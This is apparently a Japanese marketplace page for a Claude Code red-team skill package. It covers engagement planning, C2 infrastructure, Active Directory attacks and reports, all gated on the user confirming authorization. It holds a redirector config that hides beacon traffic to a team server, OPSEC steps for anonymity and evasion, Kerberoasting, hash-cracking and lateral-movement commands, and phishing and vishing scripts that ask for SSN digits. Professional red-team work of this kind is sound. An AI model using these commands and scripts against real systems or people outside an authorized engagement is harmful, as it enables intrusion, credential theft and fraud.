mcpField
R
Red Team Operations & Engagement Planning

Red Team Operations & Engagement Planning

github.com/masriyanセキュリティ535121 回インストール1 週間前に更新
リポジトリ

Red Team Operations & Engagement Planning について

許可を得たレッドチーム担当者向けの Claude スキルです。作戦計画、インフラ設計、攻撃手法の案内、報告書作成を支援し、書面による許可と範囲の確認を必須とします。

主な機能

  1. 01レッドチーム作戦計画
  2. 02C2 インフラ設計
  3. 03Active Directory 攻撃経路分析
  4. 04許可済みソーシャルエンジニアリング演習の計画
  5. 05レッドチーム評価レポート作成
  6. 06許可と範囲の確認

活用シーン

  1. 01ルール・オブ・エンゲージメントに基づく評価計画の作成
  2. 02許可済み演習の C2 アーキテクチャ計画
  3. 03対象範囲内の Active Directory 攻撃経路分析
  4. 04作戦ログの整理と評価レポート作成

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/masriyan/claude-code-cybersecurity-skill --skill red-team-operations-&-engagement-planning

インストール後、Claude Code で/red-team-operations-&-engagement-planningを入力して読み込まれたか確認します。

同梱ファイルscripts/engagement_planner.pyexamples/example_usage.md

詳細

レッドチーム作戦とエンゲージメント計画

目的

Claude が、認可されたレッドチームオペレーターによるエンゲージメント計画、C2 インフラストラクチャの設計、攻撃手法に関するガイダンス、ラテラルムーブメント戦略、OPSEC 計画、包括的なレポート作成を支援できるようにします。すべてのワークフローには、書面による認可の確認が必要です。

重大 — 認可ゲート:レッドチームの支援を進める前に、明示的な認可の確認が必要です。Claude は認可に関する情報を求め、認可が確認できない場合は、実際の攻撃計画を支援しません。

認可された状況:

  • 署名済みの作業範囲記述書(SOW)またはエンゲージメントルール(ROE)
  • バグ報奨金プログラム(対象がスコープ内であることを確認)
  • 内部セキュリティテスト(組織の権限があることを確認)
  • CTF コンテスト(チャレンジプラットフォームとスコープを確認)
  • 所有する、または隔離されたラボ環境での調査

有効化のトリガー

次のような質問があった場合、このスキルが有効になります:

  • レッドチームエンゲージメントや敵対者シミュレーションの計画
  • C2 インフラストラクチャ(リダイレクター、チームサーバー、C2 プロファイル)の設計
  • Active Directory の攻撃経路(BloodHound、Kerberoasting、DCSync)
  • 認可されたエンゲージメントでのラテラルムーブメント手法
  • レッドチームの文脈での永続化メカニズム
  • ソーシャルエンジニアリングキャンペーンの計画(認可済み)
  • レッドチームのレポート作成や経営陣向けプレゼンテーション
  • 机上演習(TTX)の設計
  • パープルチームの連携
  • 認可された作戦の OPSEC 計画

前提条件

pip install pyyaml requests

認可された作戦のためのツール:

  • Cobalt Strike / Sliver / Havoc — C2 フレームワーク
  • Metasploit — エクスプロイトフレームワーク
  • BloodHound / SharpHound — AD 攻撃経路の分析
  • Impacket — ネットワークプロトコルツール
  • CrackMapExec / NetExec — AD の列挙
  • Responder — LLMNR/NBT-NS ポイズニング
  • Mimikatz — 認証情報へのアクセス(Windows)

認可の確認

運用計画に入る前に、Claude は次の事項を確認します:

Red team assistance requires authorization confirmation:

1. What is the engagement type?
   □ External penetration test
   □ Internal network assessment
   □ Red team / adversary simulation
   □ Social engineering assessment
   □ Physical security assessment
   □ CTF competition

2. What is your authorization basis?
   □ Signed SOW / contract with target organization
   □ Internal role (IT/Security team testing own systems)
   □ Bug bounty — [program name]
   □ CTF — [platform and challenge name]

3. What is the defined scope?
   (IP ranges, domains, systems, excluded assets)

4. Who is the target organization's security point of contact?
   (For deconfliction — required for IR-level engagements)

Confirm before proceeding. Operational assistance without confirmed
authorization cannot be provided.

主な機能

1. エンゲージメント計画

ユーザーからレッドチームエンゲージメントの計画を求められた場合:

エンゲージメント計画のフレームワーク:

# Red Team Engagement Plan
**Client:** [Organization Name]
**Engagement Type:** [Full Red Team / CRTO / APT Simulation]
**Start Date:** [Date]
**End Date:** [Date]
**Rules of Engagement Version:** 1.0

## Objectives
- Primary: [e.g., Test detection and response capabilities against APT29 TTPs]
- Secondary: [e.g., Identify privilege escalation paths to Domain Admin]
- Out of Scope: [e.g., Production databases, payment systems, physical access]

## Threat Profile
**Simulating:** [APT29 / FIN7 / LockBit / Custom adversary profile]
**Initial Access Vector:** [Spearphishing / Supply chain / Watering hole]
**Primary Goal:** [Data exfiltration / Ransomware simulation / Domain takeover]

## Attack Kill Chain Phases
1. Reconnaissance → OSINT, subdomain enum (Skill 01)
2. Initial Access → Phishing / external vuln exploitation
3. Execution → PowerShell / LOLBins / custom implant
4. Persistence → Registry / service / scheduled task
5. Privilege Escalation → Local privesc → Domain Admin
6. Defense Evasion → Process injection / AMSI bypass
7. Credential Access → LSASS / Kerberoasting / DCSync
8. Lateral Movement → PSExec / WMI / RDP
9. Collection → Identify critical data
10. Exfiltration → Staged transfer to simulated C2

## Rules of Engagement
- Testing hours: [24x7 / Business hours only / Agreed windows]
- Destructive testing: [Prohibited / Limited / Authorized]
- DoS testing: [Prohibited]
- Social engineering: [Authorized / Prohibited / Phishing only]
- Physical access: [Prohibited / Badge cloning only]
- Deconfliction: Call [POC Name] at [Phone] if critical systems impacted

## Emergency Abort Procedure
If critical systems are impacted unexpectedly:
1. Immediately cease all operations
2. Call [POC] at [Phone] — available 24/7
3. Document what was done and when
4. Stand down until authorized to resume

エンゲージメント計画スクリプト:

python scripts/engagement_planner.py --scope scope.json --output plan.md
2. C2 インフラストラクチャの設計

ユーザーから認可された作戦の C2 インフラストラクチャについて尋ねられた場合:

マルチティア C2 アーキテクチャ:

[Team Server] ← (internal/VPN only) → [Redirector 1 (HTTPS)] ← → [Beacon]
                                    → [Redirector 2 (DNS)]   ← → [Beacon]
                                    → [Backup Redirector]

インフラストラクチャのコンポーネント:

  1. チームサーバー — インターネットに直接公開せず、VPN 経由でのみアクセスできるようにします
  2. リダイレクター — C2 トラフィックを中継するクラウド VPS インスタンス(AWS/Azure/GCP)
  3. C2 チャネル — HTTPS(プライマリ)、DNS(バックアップ)、WebSocket(検知回避)
  4. ドメインの選定 — 運用実績のあるドメインを分類(ビジネス/テクノロジー)し、有効な証明書を用意します

リダイレクターの設定(Apache mod_rewrite):

# Redirect only Cobalt Strike beacon traffic to team server
# Everything else → sends to legitimate domain (blend in)
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows NT 6.1; WOW64\) AppleWebKit.*"
RewriteCond %{REQUEST_URI} "^/jquery-3\.3\.1\.min\.js$"
RewriteRule ^(.*)$ http://TEAMSERVER_IP/$1 [P,L]
RewriteRule ^(.*)$ https://microsoft.com/ [R=302,L]  # Decoy redirect

Malleable C2 プロファイルに関する考慮事項:

  • 正規のアプリケーショントラフィック(CDN リクエスト、Office の更新など)を模倣します
  • 対象環境の実際の User-Agent 文字列に合わせます
  • 適切な HTTP ヘッダー(Host、Accept-Language など)を使用します
  • 通常のトラフィック間隔になじむよう、スリープ/ジッターを設定します

OPSEC チェックリスト:

Infrastructure OPSEC:
[ ] Team server not directly accessible from internet
[ ] All redirectors provisioned from different providers than each other
[ ] Domain registered with privacy protection
[ ] Domain aged ≥30 days before operation
[ ] TLS certificate from legitimate CA (not self-signed)
[ ] Kill dates set on all implants
[ ] Logging enabled on team server for post-engagement review

Operational OPSEC:
[ ] VPN/Tor for infrastructure access (not home IP)
[ ] Separate browser profile for research vs. operation
[ ] No real name/email in domain registration
[ ] Payment via anonymous method where legally permitted
[ ] Implant config: sandbox detection, sleep with jitter
[ ] All C2 traffic encrypted and indistinguishable from HTTPS
3. Active Directory の攻撃手法

ユーザーから認可されたエンゲージメントの AD 攻撃経路について尋ねられた場合:

BloodHound 分析ワークフロー:

# Collection (run on domain-joined host in scope)
# PowerShell-based (noisier but complete)
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\

# C# executable (quieter)
SharpHound.exe -c All --outputdirectory C:\temp\

# Upload ZIP to BloodHound UI and analyze:
# Queries to run:
# - Find Shortest Paths to Domain Admins
# - Find Principals with DCSync Rights
# - Find Computers with Unsupported Operating Systems
# - Find AS-REP Roastable Users

主な AD 攻撃手法(認可済み):

手法ATT&CK IDツール説明
KerberoastingT1558.003Rubeus, ImpacketSPN の TGS を要求 → オフラインでクラック
AS-REP RoastingT1558.004Rubeus, GetNPUsers.py事前認証が不要なユーザー
Pass-the-HashT1550.002Impacket, CrackMapExecクラックせずに NTLM ハッシュを使用
Pass-the-TicketT1550.003RubeusKerberos チケットを認証に使用
Overpass-the-HashT1550.003RubeusNTLM ハッシュを TGT に変換
DCSyncT1003.006Mimikatz, Impacketドメインのハッシュを複製
Golden TicketT1558.001MimikatzKRBTGT ハッシュを使って TGT を偽造
Silver TicketT1558.002Mimikatz特定のサービス向けに TGS を偽造

Kerberoasting(認可された利用):

# Using Impacket (Linux → Windows domain)
GetUserSPNs.py -dc-ip 192.168.1.10 domain.local/user:password -request

# Using Rubeus (on Windows, in scope)
Rubeus.exe kerberoast /outfile:hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

ラテラルムーブメントの選択肢:

# PsExec style (via Impacket)
psexec.py domain.local/admin:[email protected]

# WMI execution
wmiexec.py domain.local/admin:[email protected]

# SMB with NetExec
nxc smb 192.168.1.0/24 -u admin -p 'password' --shares

# RDP (if authorized)
rdesktop -u admin -p password 192.168.1.20
4. ソーシャルエンジニアリング(許可を得たキャンペーン)

ユーザーから許可を得たソーシャルエンジニアリング演習の計画を依頼された場合:

フィッシングキャンペーンのフレームワーク:

  1. スコープの確認 — どのターゲットが許可されていますか?何が禁止されていますか?
  2. 口実の作成 — この組織で信憑性のあるシナリオは何ですか?
    • IT ヘルプデスクによるパスワードのリセット
    • 財務:請求書/支払いの確認
    • 人事:福利厚生への登録
    • 経営幹部:取締役会に関する連絡
  3. インフラストラクチャのセットアップ — フィッシングドメイン、メールサーバー、ランディングページ
  4. ランディングページ — 認証情報の窃取またはペイロードの配信
  5. 追跡 — クリックの追跡、認証情報の取得、ペイロードの実行
  6. レポート指標 — クリック率、認証情報の送信率、報告率

口実のテンプレート(許可を得たキャンペーン用):

Subject: Action Required: IT Security Policy Update — Password Reset Required

From: IT Help Desk <helpdesk@[spoofed-or-lookalike-domain]>

Dear [Name],

As part of our ongoing security improvements, all employees must update their
passwords by [date]. Please click the link below to verify your identity and
reset your password:

[Phishing Link]

If you did not receive this email or have questions, contact the IT Help Desk
at x4444.

Regards,
IT Security Team
[Company Name]

---
[Include realistic footer with physical address, unsubscribe link for legitimacy]

ビッシングスクリプトのテンプレート:

Caller: "Hi, this is [Name] from IT Security. We've detected some unusual 
activity on your account. I need to verify your identity. Can I get your
employee ID and the last four digits of your SSN?..."
5. レッドチームレポート

ユーザーからレッドチームレポートの作成を依頼された場合:

# Red Team Assessment Report
**CLIENT CONFIDENTIAL**

**Organization:** [Client Name]
**Assessment Type:** [Red Team / APT Simulation]
**Assessment Period:** [Date] to [Date]
**Report Date:** [Date]
**Report Classification:** Client Confidential

---

## Executive Summary
[2-3 paragraphs: what was tested, what was found at high level, 
key recommendations. Written for non-technical executives.]

**Overall Risk Rating:** [Critical / High / Medium / Low]

**Key Findings:**
1. Initial access achieved via [vector] within [timeframe]
2. Domain Admin achieved via [technique] after [timeframe]
3. Detection gap: [N] hours from initial access to detection
4. [N] objectives achieved out of [N] defined

---

## Attack Timeline
| Phase | Time | Action | Detection? |
|-------|------|--------|-----------|
| Recon | T+0h | OSINT gathering | No |
| Initial Access | T+4h | Phishing email clicked | No |
| C2 Established | T+4h | Beacon callback | No |
| Privilege Escalation | T+8h | Local admin via CVE-2024-XXXX | No |
| Domain Admin | T+12h | Kerberoasting → hash cracked | No |
| Simulated Exfiltration | T+16h | 10GB to simulated drop server | Yes (T+20h) |

---

## Findings by Category

### CRITICAL: [Finding Title]
**MITRE ATT&CK:** T1078 — Valid Accounts
**Detection:** Not detected by SOC
**Impact:** Full domain compromise achieved
**Evidence:** [Screenshot/log showing access]
**Recommendation:** Implement MFA for all privileged accounts

---

## Detection Analysis
- MTTD (Mean Time to Detect): 20 hours
- Detections triggered: 2 of 15 attack phases
- Detection gaps: [list what was NOT detected]

## Recommendations (Prioritized)
| # | Recommendation | Priority | Effort |
|---|---------------|----------|--------|
| 1 | MFA for all privileged accounts | Critical | Low |
| 2 | EDR policy: block PsExec from non-admin hosts | High | Medium |
| 3 | Enable PowerShell Script Block Logging | High | Low |

スクリプトリファレンス

engagement_planner.py
python scripts/engagement_planner.py --scope scope.json --output plan.md

スキルの連携

条件関連スキル
初期の偵察フェーズ→ スキル 01(偵察と OSINT)
脆弱性の悪用を確認← スキル 03(エクスプロイト開発)
防御の改善に向けた調査結果の提供→ スキル 15(ブルーチーム防御)
SOC の検知能力をテスト→ スキル 11(CSOC 自動化)

参考資料


v3.0 の強化点(2026 年版)

認可ゲートは引き続き適用されます — 運用手順に進む前に、署名済みのスコープ、RoE、競合調整の連絡先を確認してください。

最新の攻撃手法(許可を得たエンゲージメント用):

  • AD/ADCS の悪用 — 経路探索には BloodHound Community Edition を使用します。スコープ内であれば、AD CS の権限昇格(ESC1~ESC14 系)や Kerberos のリレー/強制(PetitPotam 型)を行います。
  • EDR の回避 — 最新の EDR/XDR を想定します。インメモリ実行、BYOVD に関する考慮事項、コールスタック/テレメトリを考慮した手法を計画し、ブルーチームへの事後説明で検知に役立つアーティファクトを必ず提示します。
  • アイデンティティとクラウドのレッドチーミング — デバイスコードフィッシングと同意フィッシング、トークンの窃取/再利用、OAuth アプリの悪用、オンプレミスから Entra ID/クラウドのコントロールプレーンへのピボットを行います。
  • C2 の耐障害性 — ドメインフロンティングの代替手段、リダイレクター、可変プロファイル、正規の SaaS を介した C2 を活用します。OPSEC 計画に従ってインフラストラクチャをローテーションします。
  • パープルチーム向け成果物 — すべてのアクションを ATT&CK に対応付け、検知の機会と組み合わせることで、エンゲージメントを防御の改善につなげます(スキル 12/15 に引き継ぎます)。

精度に関するルール: 事後説明とレポートに備え、攻撃ログ(タイムスタンプ、ホスト、手法、ATT&CK ID、想定されるテレメトリ)を記録してください。

コメント